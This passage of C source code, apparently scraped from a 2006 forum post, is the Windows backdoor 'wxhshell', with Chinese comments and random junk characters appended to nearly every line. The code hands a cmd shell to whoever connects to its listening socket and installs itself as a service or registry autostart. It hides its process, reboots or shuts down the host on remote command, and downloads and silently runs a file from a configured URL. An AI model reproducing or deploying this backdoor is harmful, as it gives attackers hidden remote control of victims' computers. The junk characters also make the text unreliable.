  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =u(. Y  
  } !j6]k^ra  
  else { -82Rz   
zo&'2I  
    switch(cmd[0]) { _H|x6X1-  
  |<P]yn  
  // 帮助 H3}{]&a  
  case '?': { 0x'>}5`5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?ZDXT2b~~  
    break; pm,&kE  
  } LZV  
  // 安装 xj iMM>|n  
  case 'i': { !dYkvoQNn  
    if(Install()) ad8kUHf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R}a,.C  
    else Sve~-aG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;=Jj{FoG%  
    break; Slcf=  
    } r@0HqZx`  
  // 卸载 agN`) F!  
  case 'r': { )Fk%, H-1  
    if(Uninstall()) `9Zoq=/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .0S.7w3dZo  
    else EX7cjQsml  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *;8tj5du  
    break; ^wCjMi(sj  
    } PmO utYV  
  // 显示 wxhshell 所在路径  d>}pz  
  case 'p': { W`K XO|'p@  
    char svExeFile[MAX_PATH]; xxgS!J  
    strcpy(svExeFile,"\n\r"); f2B?Zn  
      strcat(svExeFile,ExeFile); G*ZHLLO4S\  
        send(wsh,svExeFile,strlen(svExeFile),0); J{Ei+@^/9  
    break; :bFmw dX  
    } R4u=.  
  // 重启 0#KDvCBJ  
  case 'b': { J5}-5sV^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pj G6v(zK  
    if(Boot(REBOOT)) z _~f/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7^#f<m;Ar!  
    else { Gvw4ot/  
    closesocket(wsh); u[dR*o0'  
    ExitThread(0); Ey=(B'A~  
    } \1hbCv$Hf  
    break; ]d}Z2I'  
    } <ZxxlJS)6  
  // 关机 k:Sxs+)?1  
  case 'd': { (m4`l_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2Otd  
    if(Boot(SHUTDOWN)) W)ihk\E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sH(4.36+  
    else { ,5HQHo@  
    closesocket(wsh); B1 oi]hDy  
    ExitThread(0); :XEP:8  
    } ilEWxr;,  
    break; 3:7J@>  
    } qP6]}Aj]  
  // 获取shell :TqvL'9o  
  case 's': { j{SRE1tqh  
    CmdShell(wsh); {$)zC*l  
    closesocket(wsh); r5> FU>7'  
    ExitThread(0); _?kjIF  
    break; p<*3mbgGO  
  } -gefdx6ES  
  // 退出 F]\(p=U.  
  case 'x': { xGCW-YR9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !*ct3{m  
    CloseIt(wsh); > $DMVtE0  
    break; wd2GKq!  
    } mufi>}  
  // 离开 /Pv d[oF  
  case 'q': { n]?Yv E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Vrz x;V%  
    closesocket(wsh); eTem RNz  
    WSACleanup(); n~l9`4wJY  
    exit(1); q%%8oaEI  
    break; NypM+y  
        } 0]?} kY  
  } 2W:R{dHE  
  } lxx)l(&  
qk;*$Q  
  // 提示信息 u+UtvzUC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b}< T<  
} x.CUJ^_.  
  } |1wfLJ4--l  
je@F:5  
  return; B:#5U85m  
} W~(@*H  
7Vd"k;:X  
// shell模块句柄 Rd@34"O  
int CmdShell(SOCKET sock) V TQ V]>|  
{ A5cx!h  
STARTUPINFO si; NFw7g&1;Kp  
ZeroMemory(&si,sizeof(si)); cih@: =Qy  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |VxEW U/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; VI7f}  
PROCESS_INFORMATION ProcessInfo; )Kkw$aQI"d  
char cmdline[]="cmd"; Dn~r~aR$g  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G66sP w  
  return 0; "S)2<tV  
} <qjNX-|  
f#mBMdj  
// 自身启动模式 /8(c^  
int StartFromService(void) ~XGBE  
{ $Wt0e 4YSu  
typedef struct /(Mi2$@v1  
{ cO/%;HEV  
  DWORD ExitStatus; e^2e[rp0  
  DWORD PebBaseAddress; 5SPhdpIg@[  
  DWORD AffinityMask; uvR9BL2=  
  DWORD BasePriority;  uyBmGS2  
  ULONG UniqueProcessId; $BHbnsaQ  
  ULONG InheritedFromUniqueProcessId; z-};.!L^  
}   PROCESS_BASIC_INFORMATION; FN jT?*  
eD5:0;X2  
PROCNTQSIP NtQueryInformationProcess; ; ^+#  
\1|]?ZQ\K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .,Q j3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o zg%-  
W*?mc2;/  
  HANDLE             hProcess; b{Srd3  
  PROCESS_BASIC_INFORMATION pbi; GP=i6I6C  
-+MGs]),  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4#hDt^N~  
  if(NULL == hInst ) return 0; pkTg.70wU  
lS1-e0,h1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s&(,_34  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wkNf[>jX?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); nADt8  
~q0g7?}&  
  if (!NtQueryInformationProcess) return 0; !;Hi9,<#7g  
&"X6s%ZH|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fzcPi9+  
  if(!hProcess) return 0; r*$$82s  
xX;@ BS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X^204K%:  
C-25\  
  CloseHandle(hProcess); )gM3,gSS  
WKVoqp}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zx)^!dEMM  
if(hProcess==NULL) return 0; [t)omPy<c  
w\(LG_n|  
HMODULE hMod; V[E7 mhqy  
char procName[255]; 6 0C;J!D  
unsigned long cbNeeded; :CH*~o  
\1` L-lz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e|Ip7`  
"F_o%!l  
  CloseHandle(hProcess); 6@0 wKV!D  
1X-KuGaD  
if(strstr(procName,"services")) return 1; // 以服务启动 aJh=4j~.  
x0t&hY>P!  
  return 0; // 注册表启动 [s1Hd~$  
} >| d^  
+a'QHtg  
// 主模块 D+$k  
int StartWxhshell(LPSTR lpCmdLine) kk`BwRh)d;  
{ ,$;g'z!N  
  SOCKET wsl; m]g"]U:  
BOOL val=TRUE; oECM1'=Bf  
  int port=0; aFkxR\x 6%  
  struct sockaddr_in door; *7 L*:g  
/ D9FjOP  
  if(wscfg.ws_autoins) Install(); Rg:3}T`~n  
r 5$(  
port=atoi(lpCmdLine); &5 *)r@+  
TF\<`}akX  
if(port<=0) port=wscfg.ws_port; sOyWsXd+R'  
iz|mJUx  
  WSADATA data; w1zI"G~4/Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `i{k^Q  
D+ki2UVt&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   NW-l_]k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >v4k_JX  
  door.sin_family = AF_INET; GPqF>   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); V<} ^n  
  door.sin_port = htons(port); 9&'I?D&8  
, N :'Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,gU%%>-_~w  
closesocket(wsl); | ?6wlf  
return 1; tE)%*z@<Lt  
} B x(+uNQ  
)p.+39]{2  
  if(listen(wsl,2) == INVALID_SOCKET) { >M` swEj  
closesocket(wsl); Kd_WN;l  
return 1; )G(6=l*  
} ^V^In-[!y:  
  Wxhshell(wsl); =hV-E D  
  WSACleanup(); 47Y| 1  
-25#Vh  
return 0; d6lhA7  
!g? ~<`   
} -Q@jL{Ue  
#unE>#DW  
// 以NT服务方式启动 Y^)VHE]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &77]h%B >  
{ ivdw1g|)h  
DWORD   status = 0; y$)gj4k/D  
  DWORD   specificError = 0xfffffff; Q9K+k*?{N  
0F'75  
  serviceStatus.dwServiceType     = SERVICE_WIN32; CK e  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]{9oB-;,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `Tzq vnn  
  serviceStatus.dwWin32ExitCode     = 0; 5H6GZ:hp  
  serviceStatus.dwServiceSpecificExitCode = 0; l3aG#4jj  
  serviceStatus.dwCheckPoint       = 0; [7Nn%eZC  
  serviceStatus.dwWaitHint       = 0; W7N Hr5RC  
$XS0:C0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @4:cn  
  if (hServiceStatusHandle==0) return; lwH&4K  
Q^Ln`zMe  
status = GetLastError(); ?`F")y  
  if (status!=NO_ERROR) 6'C!Au  
{ ";~}"Yz?[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]\nG1+ta  
    serviceStatus.dwCheckPoint       = 0; K{VF_S:  
    serviceStatus.dwWaitHint       = 0; BfOG e!Si  
    serviceStatus.dwWin32ExitCode     = status;  =erA.u  
    serviceStatus.dwServiceSpecificExitCode = specificError; }nE#0n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )Jx!VJ^Y  
    return; @ ADY?  
  } u)P$xkf  
3&*0n^g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rL URP2~  
  serviceStatus.dwCheckPoint       = 0; y? [*qnPj  
  serviceStatus.dwWaitHint       = 0; T[)) ful  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0:G@a&Lr  
} 1at$_\{.(  
MW9B -x  
// 处理NT服务事件,比如:启动、停止 tYfhKJzGC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) k?Jzy  
{ hvBuQuk)  
switch(fdwControl) -b@E@uAX /  
{ SX}GKu  
case SERVICE_CONTROL_STOP: KGUpXMd^Z  
  serviceStatus.dwWin32ExitCode = 0; $2BRi@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5q]u:  
  serviceStatus.dwCheckPoint   = 0; {s8''+Q#(-  
  serviceStatus.dwWaitHint     = 0; 'D(Hqdr;:  
  { n#3y2,Ml  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eEsEW<su  
  } 9szE^kHS9  
  return; )I+1 b !U  
case SERVICE_CONTROL_PAUSE: SU# S'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |~H'V4)zXu  
  break; HXU"]s2Z  
case SERVICE_CONTROL_CONTINUE: {(wV>Oc>Jw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $!I$*R&  
  break; iy tSC  
case SERVICE_CONTROL_INTERROGATE: MbnV5b:X  
  break; xSb/9 8;  
}; ?p5RSt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u\qyh9s  
} -lL*WA`  
dab>@z4  
// 标准应用程序主函数 },a|WL3^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `M>{43dj  
{ H@IX$+;z  
n2#uH  
// 获取操作系统版本 ~73"AWlp  
OsIsNt=GetOsVer(); %o4d4 3uZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C`mXEX5  
^e>v{AE%  
  // 从命令行安装 4v2(YJ%u  
  if(strpbrk(lpCmdLine,"iI")) Install(); (kp}mSw  
>\DXA)nc  
  // 下载执行文件 qUtVqS  
if(wscfg.ws_downexe) { XQ(`8Jl&^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rvE!Q=y~  
  WinExec(wscfg.ws_filenam,SW_HIDE); >^J!Z~;L)  
} lYw A5|+  
<Mc:Cg8>  
if(!OsIsNt) { *7*g! km  
// 如果时win9x,隐藏进程并且设置为注册表启动 \f66ipZK*  
HideProc(); ip5s'S~  
StartWxhshell(lpCmdLine); 6\o.wq  
} tu!u9jVv  
else @oRYQ|.R  
  if(StartFromService()) ,A6*EJ\w   
  // 以服务方式启动 z5'VsK:  
  StartServiceCtrlDispatcher(DispatchTable); A v2 _A  
else 3C,e>zE}  
  // 普通方式启动 b}"/K$`Fd  
  StartWxhshell(lpCmdLine); N=I5MQG  
i0AC.]4e"  
return 0; R&xD|w8UjM  
}
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只看该作者 1 发表于: 2006-10-10
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